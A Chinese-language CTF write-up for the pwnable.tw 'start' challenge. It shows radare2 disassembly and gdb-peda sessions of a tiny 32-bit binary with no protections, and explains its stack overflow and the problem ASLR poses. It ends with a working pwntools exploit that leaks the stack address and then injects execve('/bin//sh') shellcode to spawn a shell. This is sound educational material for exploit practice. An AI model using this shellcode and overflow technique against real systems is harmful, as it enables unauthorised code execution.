tags: ctf,writeup,pwn

pwnable.tw-100-start

1. 代码分析

1.1 文件信息

这是一个32位的Elf文件

$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

checksec显示未开启任何安全保护机制

$ checksec start
[*] '/home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

1.2 汇编代码

使用r2分析汇编,只有一个entry0入口函数。

$ r2 start 
Warning: Cannot initialize dynamic strings
[0x08048060]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08048060]> afl
0x08048060    1 61           entry0
[0x08048060]> pdf
            ;-- section..text:
            ;-- _start:
            ;-- eip:
/ (fcn) entry0 61
|   entry0 ();
|           0x08048060      54             push esp                    ; [01] -r-x section size 67 named .text
|           0x08048061      689d800408     push loc._exit              ; 0x804809d ; "\1\xc0@\u0340\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|           0x08048066      31c0           xor eax, eax
|           0x08048068      31db           xor ebx, ebx
|           0x0804806a      31c9           xor ecx, ecx
|           0x0804806c      31d2           xor edx, edx
|           0x0804806e      684354463a     push 0x3a465443             ; 'CTF:'
|           0x08048073      6874686520     push 0x20656874             ; 'the '
|           0x08048078      6861727420     push 0x20747261             ; 'art '
|           0x0804807d      6873207374     push 0x74732073             ; 's st'
|           0x08048082      684c657427     push 0x2774654c             ; 'Let''
|           0x08048087      89e1           mov ecx, esp
|           0x08048089      b214           mov dl, 0x14                ; 20
|           0x0804808b      b301           mov bl, 1
|           0x0804808d      b004           mov al, 4
|           0x0804808f      cd80           int 0x80
|           0x08048091      31db           xor ebx, ebx
|           0x08048093      b23c           mov dl, 0x3c                ; '<' ; 60
|           0x08048095      b003           mov al, 3
|           0x08048097      cd80           int 0x80
|           0x08048099      83c414         add esp, 0x14
\           0x0804809c      c3             ret

可以把这段汇编代码分成几个部分:

1.2.1 起始

把现在的esp和_exit push到栈上,以用于被调函数结束时能返回到调用函数。

|           0x08048060      54             push esp                    ; [01] -r-x section size 67 named .text
|           0x08048061      689d800408     push loc._exit              ; 0x804809d ; "\1\xc0@\u0340\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

1.2.2 清零寄存器eax,ebx,ecx,edx

|           0x08048066      31c0           xor eax, eax
|           0x08048068      31db           xor ebx, ebx
|           0x0804806a      31c9           xor ecx, ecx
|           0x0804806c      31d2           xor edx, edx

1.2.3 把字符串"Let’s start the CTF:“push到栈上

|           0x0804806e      684354463a     push 0x3a465443             ; 'CTF:'
|           0x08048073      6874686520     push 0x20656874             ; 'the '
|           0x08048078      6861727420     push 0x20747261             ; 'art '
|           0x0804807d      6873207374     push 0x74732073             ; 's st'
|           0x08048082      684c657427     push 0x2774654c             ; 'Let''

1.2.4 执行系统调用sys_write

|           0x08048087      89e1           mov ecx, esp
|           0x08048089      b214           mov dl, 0x14                ; 20
|           0x0804808b      b301           mov bl, 1
|           0x0804808d      b004           mov al, 4
|           0x0804808f      cd80           int 0x80

根据系统调用参照表http://syscalls.kernelgrok.com/, eax为4时,系统调用为sys_write, 寄存器与参数的关系为

Name eax ebx ecx edx
sys_write 0x04 unsigned int fd const char __user *buf size_t count

所以这段汇编实际为

sys_write(1, "Let's start the CTF:", 0x14)

1.2.5 执行系统调用sys_read

|           0x08048091      31db           xor ebx, ebx
|           0x08048093      b23c           mov dl, 0x3c                ; '<' ; 60
|           0x08048095      b003           mov al, 3
|           0x08048097      cd80           int 0x80
Name eax ebx ecx edx
sys_read 0x03 unsigned int fd char __user *buf size_t count
sys_read(0, &ecx, 0x3c)

这里我对ecx其实有一些疑惑,按理说这里的ecx应该还是之前的值。

可以用gdb证实下,在0x08048097处(第二次系统调用)下断点。

gdb-peda$ b *0x08048097
Breakpoint 1 at 0x8048097

可以发现,在执行系统调用前,ecx指向的值是字符串"Let’s start the CTF:"。

gdb-peda$ r
Starting program: /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start 
Let's start the CTF:
[----------------------------------registers-----------------------------------]
EAX: 0x3 
EBX: 0x0 
ECX: 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
EDX: 0x3c ('<')
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
EIP: 0x8048097 (<_start+55>:	int    0x80)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048091 <_start+49>:	xor    ebx,ebx
   0x8048093 <_start+51>:	mov    dl,0x3c
   0x8048095 <_start+53>:	mov    al,0x3
=> 0x8048097 <_start+55>:	int    0x80
   0x8048099 <_start+57>:	add    esp,0x14
   0x804809c <_start+60>:	ret    
   0x804809d <_exit>:	pop    esp
   0x804809e <_exit+1>:	xor    eax,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
0004| 0xffffd218 ("s start the CTF:\235\200\004\b0\322\377\377\001")
0008| 0xffffd21c ("art the CTF:\235\200\004\b0\322\377\377\001")
0012| 0xffffd220 ("the CTF:\235\200\004\b0\322\377\377\001")
0016| 0xffffd224 ("CTF:\235\200\004\b0\322\377\377\001")
0020| 0xffffd228 --> 0x804809d (<_exit>:	pop    esp)
0024| 0xffffd22c --> 0xffffd230 --> 0x1 
0028| 0xffffd230 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048097 in _start ()
gdb-peda$ s
AAAAAAAAAAAAAAAAAAAAAAAAAAAA

执行系统调用后,即变为我们输入的一连串A

[----------------------------------registers-----------------------------------]
EAX: 0x1d 
EBX: 0x0 
ECX: 0xffffd214 ('A' <repeats 28 times>, "\n")
EDX: 0x3c ('<')
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd214 ('A' <repeats 28 times>, "\n")
EIP: 0x8048099 (<_start+57>:	add    esp,0x14)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048093 <_start+51>:	mov    dl,0x3c
   0x8048095 <_start+53>:	mov    al,0x3
   0x8048097 <_start+55>:	int    0x80
=> 0x8048099 <_start+57>:	add    esp,0x14
   0x804809c <_start+60>:	ret    
   0x804809d <_exit>:	pop    esp
   0x804809e <_exit+1>:	xor    eax,eax
   0x80480a0 <_exit+3>:	inc    eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd214 ('A' <repeats 28 times>, "\n")
0004| 0xffffd218 ('A' <repeats 24 times>, "\n")
0008| 0xffffd21c ('A' <repeats 20 times>, "\n")
0012| 0xffffd220 ('A' <repeats 16 times>, "\n")
0016| 0xffffd224 ('A' <repeats 12 times>, "\n")
0020| 0xffffd228 ("AAAAAAAA\n")
0024| 0xffffd22c ("AAAA\n")
0028| 0xffffd230 --> 0xa ('\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048099 in _start ()

1.2.6 esp+=0x14;ret

esp加0x14,然后ret

|           0x08048099      83c414         add esp, 0x14
\           0x0804809c      c3             ret

2. 漏洞分析

ret会返回控制流到栈顶的指针指向的地址

第二个系统调用允许输入0x3c个字符, 可以覆盖到esp+0x3c, 而ret前最后esp只增加0x14。 因此,如果我们的输入将esp+0x14之后的数据覆盖,即可以修改程序的控制流。

但是有个问题是,esp的值是无法预测的

2.1 操作系统开启了ASLR, 每次运行基地址不同

st0n3@kali:~/ctfs/pwnable.tw/100_Start/challenges$ r2 -d start 
Process with PID 29040 started...
= attach 29040 29040
bin.baddr 0x08048000
Using 0x8048000
Warning: Cannot initialize dynamic strings
asm.bits 32
glibc.fc_offset = 0x00148
[0x08048060]> dm
0x08048000 - 0x08049000 * usr     4K s r-x /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start ; map.home_st0n3_ctfs_pwnable.tw_100_Start_challenges_start.r_x
0xf7f71000 - 0xf7f74000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r
0xf7f74000 - 0xf7f76000 - usr     8K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffbce000 - 0xffbef000 - usr   132K s rwx [stack] [stack] ; map.stack_.rwx
^D
Do you want to quit? (Y/n) 
Do you want to kill the process? (Y/n) 
st0n3@kali:~/ctfs/pwnable.tw/100_Start/challenges$ r2 -d start 
Process with PID 29045 started...
= attach 29045 29045
bin.baddr 0x08048000
Using 0x8048000
Warning: Cannot initialize dynamic strings
asm.bits 32
glibc.fc_offset = 0x00148
[0x08048060]> dm
0x08048000 - 0x08049000 * usr     4K s r-x /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start ; map.home_st0n3_ctfs_pwnable.tw_100_Start_challenges_start.r_x
0xf7f68000 - 0xf7f6b000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r
0xf7f6b000 - 0xf7f6d000 - usr     8K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffbb4000 - 0xffbd5000 - usr   132K s rwx [stack] [stack] ; map.stack_.rwx

2.2 关闭ASLR,不同机器分配的基地址不同,但栈地址不同

2.3 gdb-peda可能关闭了ASLR

因此还需要利用sys_write来泄露esp

3. 漏洞利用

from pwn import *

context.log_level = 'debug'

shell_code = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

r = process("challenges/start")
r.recvuntil("Let's start the CTF:")

# change execute flow to "mov ecp esp"
r.send("A"*0x14 + p32(0x08048087))
# stack info leak
esp = u32(r.recv(4))
print hex(esp)

# execute sys_read again
r.send("A"*0x14 + p32(esp+0x14) + shell_code)
r.interactive()